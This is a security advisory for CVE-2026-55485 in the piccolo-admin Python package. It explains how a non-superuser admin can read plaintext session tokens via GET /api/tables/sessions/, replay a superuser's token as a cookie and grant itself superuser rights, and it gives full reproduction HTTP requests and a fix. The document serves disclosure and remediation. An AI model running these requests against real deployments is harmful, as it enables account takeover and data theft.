CVE-2026-55485: piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.
Summary piccoloadmin uses a helper called superuservalidators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET. The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response.
Published Aug 28, 2026
Affected packages
piccolo-admin
- Ecosystem
- PyPI
- Affected
- <= 1.13.0
- Fixed in
- 1.14.0
- Check
pip show piccolo-admin
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject `GET`.
The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.
The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.
Affected component
- File:
piccolo_admin/endpoints.py - Function:
superuser_validators(around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
user: BaseUser = request.user.user
if not user.superuser:
if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
raise HTTPException(
detail="Only superusers can perform these actions.",
status_code=405,
)The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.
Preconditions
- Network reachability to the admin.
- Valid credentials for a non-superuser admin (
admin=True, superuser=False— the default role created byBaseUser.create_user(admin=True)). - The deployment includes the
Sessionstable (and typically theUsertable) increate_admin([...])— the documented pattern for "active sessions" management UIs.
Steps to reproduce
- Log in as the non-superuser admin (
john / john123). Open the *Piccolo User* table and confirm john'sSUPERUSERcolumn is ✗. *(See Screenshot 1.)*
- Attempt the target write directly. Send the following request:
PATCH /api/tables/piccolo_user/2/ HTTP/1.1
Host: target:8001
Content-Type: application/json
Cookie: id=<john's session>; csrftoken=<token>
X-CSRFToken: <token>
{"superuser": true}The server returns:
HTTP/1.1 405
{"detail":"Only superusers can perform these actions."}The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.
- Leak the credential. As the same john user, request:
GET /api/tables/sessions/ HTTP/1.1
Host: target:8001
Cookie: id=<john's session>; csrftoken=<token>Response: 200 OK containing every active session in plaintext, e.g.
{"rows":[
{"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
{"token":"...","user_id":2, ...},
...
]}Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. *(Screenshot 4.)*
- Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the
Cookie: id=value to the stolen token:
PATCH /api/tables/piccolo_user/2/ HTTP/1.1
Host: target:8001
Content-Type: application/json
Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>
X-CSRFToken: <token>
{"superuser": true}Response: 200 OK, body shows "superuser": true for john. *(Screenshot 5.)*
- Verify persistence. Log in fresh as
john / john123(no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.
Impact
Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:
- read/write/delete any row in any table the admin exposes;
- revoke any other session, locking out other admins;
- change any user's password;
- export data (including via the bulk CSV download forms);
- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.
Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.
Suggested fix
Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:
def superuser_validators(piccolo_crud, request):
if not request.user.user.superuser:
raise HTTPException(
status_code=403,
detail="Only superusers can access this resource.",
)Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.
Severity
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Reasoning:
- AV:N — accessible over the network.
- AC:L — single GET; no race or timing dependency.
- PR:L — requires non-superuser admin credentials (the default admin role).
- UI:N — no victim interaction needed.
- S:U — scope kept Unchanged to be conservative; some auditors may prefer
S:C(which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. - C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.
Weaknesses
- CWE-269 Improper Privilege Management *(primary)*
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-863 Incorrect Authorization
Notes for the maintainer
- The vulnerability is reachable on any version where
superuser_validatorsuses a method deny-list andSessionsBase.tokenis notsecret=True. I tested againstpiccolo_admin 1.13.0+piccolo_api 1.9.0. - The shipped
admin_demodoes not expose theSessionstable, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimalcreate_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)configuration, which mirrors the documented "Sessions admin view" pattern. - I'm happy to coordinate disclosure timing and validate any candidate patch.
Credited to black-shadow-007.
References
- https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w
- https://github.com/piccolo-orm/piccolo_api/pull/331
- https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d
- https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4
- https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0
- https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0
- https://github.com/advisories/GHSA-2gh4-jmwq-rr8w
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
